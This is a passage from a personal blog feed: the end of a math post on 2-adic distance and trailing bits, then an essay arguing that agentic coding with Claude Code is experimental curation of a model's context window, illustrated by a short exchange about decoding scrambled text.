That’s because two numbers share <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> trailing bits in binary if and only if their difference is divisible by <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> — which is just <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>≡</mo><mi>y</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>2</mn><mi>k</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x \equiv y \pmod{2^k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>.
“Sharing trailing bits” and “being congruent modulo a power of 2” are cast in the same mould.
So, looking at <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≡</mo><mn>2</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>2</mn><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n \equiv 2 \pmod{2^2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> picks out numbers whose last two bits are <code class="language-plaintext highlighter-rouge">10</code>: that’s 2, 6, 10, 14.
Because we are measuring their distance from 0, we look at how many trailing bits they share with <code class="language-plaintext highlighter-rouge">0000</code> — which happens to be exactly their number of trailing zeros.
They each have exactly one trailing zero, so their 2-adic distance from 0 is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span>.</p>

<p>Here’s one last cool part.
The same 16 numbers encode two completely alien notions of “neighborhood.”
<code class="language-plaintext highlighter-rouge">1000</code> (= 8) is the most extreme example: it is tied for <strong>farthest</strong> from <code class="language-plaintext highlighter-rouge">0000</code> under XOR (left-to-right, MSB first), but is the uniquely <strong>closest</strong> number under 2-adic (right-to-left, LSB first) in this 4-bit universe.
One can formally prove the connection, but I’m gonna leave that as an exercise to the reader.</p>

<p>Anyway, isn’t this beautiful?
I hope from now on you’ll always be thinking about trailing bits whenever you deal with a modulo!</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="math" /><category term="cs" /><summary type="html"><![CDATA["Why, sometimes I've believed as many as six impossible things before breakfast."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-04-12-p-adic/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-04-12-p-adic/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cosplaying Competence in the Age of Conditionals</title><link href="https://leoveanu.com/2026-03-20-context/" rel="alternate" type="text/html" title="Cosplaying Competence in the Age of Conditionals" /><published>2026-03-20T00:00:00+00:00</published><updated>2026-03-20T00:00:00+00:00</updated><id>https://leoveanu.com/context</id><content type="html" xml:base="https://leoveanu.com/2026-03-20-context/"><![CDATA[<figure>
    <img src="../assets/2026-03-20-context/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for.”<br />
— Pearl</p>
</blockquote>

<p><strong>tl;dr</strong><br />
The difference between a productive agentic coding session and a catastrophically maladjusted one
is not the model,
and categorically not the phase of the moon—it is the statistical structure of what goes into the context window.
Which is to say, the agent is a conditional distribution and you are part of that conditioning.
You look like you know what you are doing,
but the thing you are actually doing
is curating a conditional distribution’s evidence stream,
and that bears no structural resemblance to the thing you think you are doing,
which is writing software.
The hard-to-swallow pill is that,
while the competence is real,
it is the wrong competence,
because you are competent
at a thing that no longer
exists, or will not for much longer.
I am trying to make that feel obvious
and to dissuade you of the comfortable illusion that
you are still a <em>programmer</em>
issuing imperious commands to the silicon golem,
rather than an <em>experimentalist</em>
cherry-picking the right evidence
from a bewilderingly noisy universe of possible evidence.
In that regard, you are closer to a painstaking, obsessively attentive digital horse whisperer
than to anything resembling a traditional software engineer.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px; font-family: ui-monospace, 'SF Mono', Menlo, Monaco, Consolas, monospace;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>I had recently <a href="https://x.com/vtemian/status/2032399994636882408?s=20">been invited</a> to tip my hand as a speaker,
to engage in an act of “accidental” self-disclosure in front of an audience
that I had no reason to expect would internalize anything from what I had to say—and who did not, it should be noted, disappoint on that front.
I was given 10 minutes to show and tell about how I use Claude Code,
then lead a table discussion with whoever wanted to sit down and talk about it.
And what ended up happening,
with a kind of inevitability that in retrospect feels almost cosmological,
is that I entered the room as the person with something to teach
and left it as the only person who had learned anything.
The pedagogical term for this, I believe, is a <em>complete failure</em>.</p>

<p>Let me try again.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px; font-family: ui-monospace, 'SF Mono', Menlo, Monaco, Consolas, monospace;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>Surprise to none knowing me in any depth, I have a predilection (a tropism even) for thinking statistically.
<em>Grounding</em>—not “anchoring,” a word which I fought for and lost, because Kahneman has permanently claimed it for the pathology of <strong>not</strong> updating—is what I am referring to as the epistemic process of
making the present information and the past information cohere in a way that allows an educated guess about
the nature of what is actually happening.</p>

<p>Every present interaction becomes a past interaction,
and every potential interaction becomes a present interaction.
This is a temporal truism providing fertile ground for
a particular kind of statistical thinking—Bayesianism.</p>

<p><strong>Experience is a conveyor belt.</strong></p>

<p>And maybe not unlike you, an agent trapped in a box framed by your terminal,
is embedded in a sequence of interactions in which the constant conversion
of future into present into past is performing something structurally Bayesian
(whether or not it is running Bayes’ theorem under the hood, we will see).</p>

<figure>
    <img src="../assets/2026-03-20-context/redundancy.jpeg" class="responsive" />
</figure>

<p>I will make the charitable assumption that you all can read that.
It happens to be the case that the structure of natural language is massively redundant;
the statistical structure of English in particular is so rich
you can recover meaning even from heavily corrupted text.
Let us ask Claude Code what does it make of this:</p>

<div class="terminal">
<style>
.terminal {
  background: #1a1a2e;
  border-radius: 8px;
  padding: 1.5rem;
  font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  font-size: 0.82rem;
  line-height: 1.6;
  overflow-x: auto;
  margin: 2rem 0;
  border: 1px solid #2a2a4a;
}
.terminal .human {
  color: #e0e0e0;
  margin-bottom: 1rem;
}
.terminal .human .prompt {
  color: #c87858;
  font-weight: bold;
}
.terminal .agent {
  color: #a0a0b8;
  margin-bottom: 1rem;
  padding-left: 1.2rem;
}
.terminal .agent .marker {
  color: #c87858;
  margin-left: -1.2rem;
}
</style>

<div class="human">
<span class="prompt">❯</span> /clear
</div>

<div class="human">
<span class="prompt">❯</span> Aoccdrnig to rscheearch at Cmabirgde Uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a ttoal mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh?
</div>

<div class="agent">
<span class="marker">⏺</span> Yep, perfectly readable. The passage works because English carries far more statistical structure than needed for comprehension; your brain is doing something very Bayesian — using the first/last letter anchors plus word-shape priors to reconstruct meaning from noisy input.
</div>

<div class="human">
<span class="prompt">❯</span> but you have no brain like i do and was still able to decode it -- why?
</div>

<div class="agent">
<span class="marker">⏺</span> Because the same redundancy that lets your brain recover meaning lets my learned distributions do it too. I've never seen those exact scrambled words before, but I've seen enough English that the statistical prior is overwhelming — given the first letter, last letter, word length, and surrounding context, there's really only one plausible word each token could be.
</div>
</div>

<p>Claude probably saw those exact scrambled words before, but that is not the point.
My brain and Claude’s “brain” are pattern-matching
against a lifetime (in my case)
or a training corpus (in Claude’s case)
of learned distributions over word sequences.</p>

<blockquote>
  <p>What constitutes a language is not an eternal ideal form, represented by the settings of a small number of parameters, but rather is the contingent outcome of complex processes. Since they are contingent, it seems they can only be analyzed with probabilistic models. Since people have to continually understand the uncertain, ambiguous, noisy speech of others, it seems they must be using something like probabilistic reasoning.<br />
— <a href="https://norvig.com/chomsky.html">On Chomsky and the Two Cultures of Statistical Learning</a></p>
</blockquote>

<p>An agent is an LLM,
and an LLM is a transformer,
and a transformer is a statistical model.
The weights of a transformer
are storing the knobs of an
obscenely large probability distribution over text.
So, when Claude Code is doing its thing,
nails working code for me like a well-paid grunt,
it is not because it “understands” my codebase in some deep, human-like way,
but because code, like that scrambled paragraph,
has enormous statistical regularity
the model has internalized.</p>

<p>Prompting is an attempt at tickling the right neurons
with the chosen evidence you are conditioning on.</p>

<p>Let me say this more carefully.</p>

<p>At inference time,
when the model is generating output,
it is sampling from a distribution,
more specifically, this one:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mtext>next token</mtext><mi mathvariant="normal">∣</mi><mtext>everything that came before</mtext><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(\text{next token} | \text{everything that came before})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1389em;">P</span><span class="mopen">(</span><span class="mord text"><span class="mord">next token</span></span><span class="mord">∣</span><span class="mord text"><span class="mord">everything that came before</span></span><span class="mclose">)</span></span></span></span></span>

<p><strong>Everything that came before</strong>.</p>

<p>Your <code class="language-plaintext highlighter-rouge">*.md</code> files,
dubious task descriptions that probably not even you would understand upon a second reading,
the files you loaded (including the ones you do not need),
the model’s own previous “You’re absolutely right”s vowing to fix
the <em>same</em> error message you have been getting for the past three hours,
your frustration and despair as one-liners;
all of it.
Every single token in the context window
is to the right of that vertical bar
and the model’s output
is a function of that evidence.</p>

<p>Said without poetry:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/djcows/status/2031761760135348353">March 11, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>(There is obviously a capability bar I am willingly ignoring here,
that sets a hard cap on what the model can achieve with the provided evidence,
because from what I come across,
<a href="https://www.udemy.com/topic/prompt-engineering/">there is a breed of prompt engineering folks out there</a>
with course covers that look like a cornered, molested Midjourney was forced at gunpoint to vomit cyberpunk rainbows,
who are setting a lower bar than the model’s actual capabilities
by being not just flagrantly fake but dangerously so.)</p>

<p>Incidentally, <code class="language-plaintext highlighter-rouge">/clear</code> is,
in an expanding brain meme sort of way,
<em>statistical intervention</em>.
When I clear the context window,
I choose to discard all the evidence I have been accumulating,
allowing the prior—the weights of the model—to operate on a blank slate.
In most cases, you are decontaminating the model from the evidence of your previous failures.
The people who are good at this clear context with the ruthlessness of a surgeon debriding a wound,
and the people who are bad at this let forty turns of accumulated confusion sit in the context window
like a festering abscess,
wondering why the model went to being a babbling dingleberry.</p>

<p>It is (still) our duty as humans in the loop
to be aware of our complicity,
because every time we let a bad turn stand,
we engage in <em>co-authored hallucination</em>.
<a href="https://youtu.be/dHBEQ-Ryo24?t=1250">Learning to notice when you have wandered off the distribution</a>
is a skill worth cultivating before the session teaches you the hard way.</p>

<p>So what does it mean to use Claude Code “well”?</p>

<p>In my experience,
it means I am less and less of a <em>programmer</em>,
and more and more of an <em>experimentalist</em>,
running live experiments in the context window,
carefully curating the evidence collaboratively,
in real time,
with the model.
My every session starts with a hypothesis about what the model can do provided with the evidence I am about to give it.
That is more or less my experimental design.
If the results are not what I expected,
I redesign the experiment—load different files,
restate the constraints,
maybe find a worked example,
and try again,
every time learning something new about the statistical structure of the problem I am trying to solve.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px; font-family: ui-monospace, 'SF Mono', Menlo, Monaco, Consolas, monospace;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
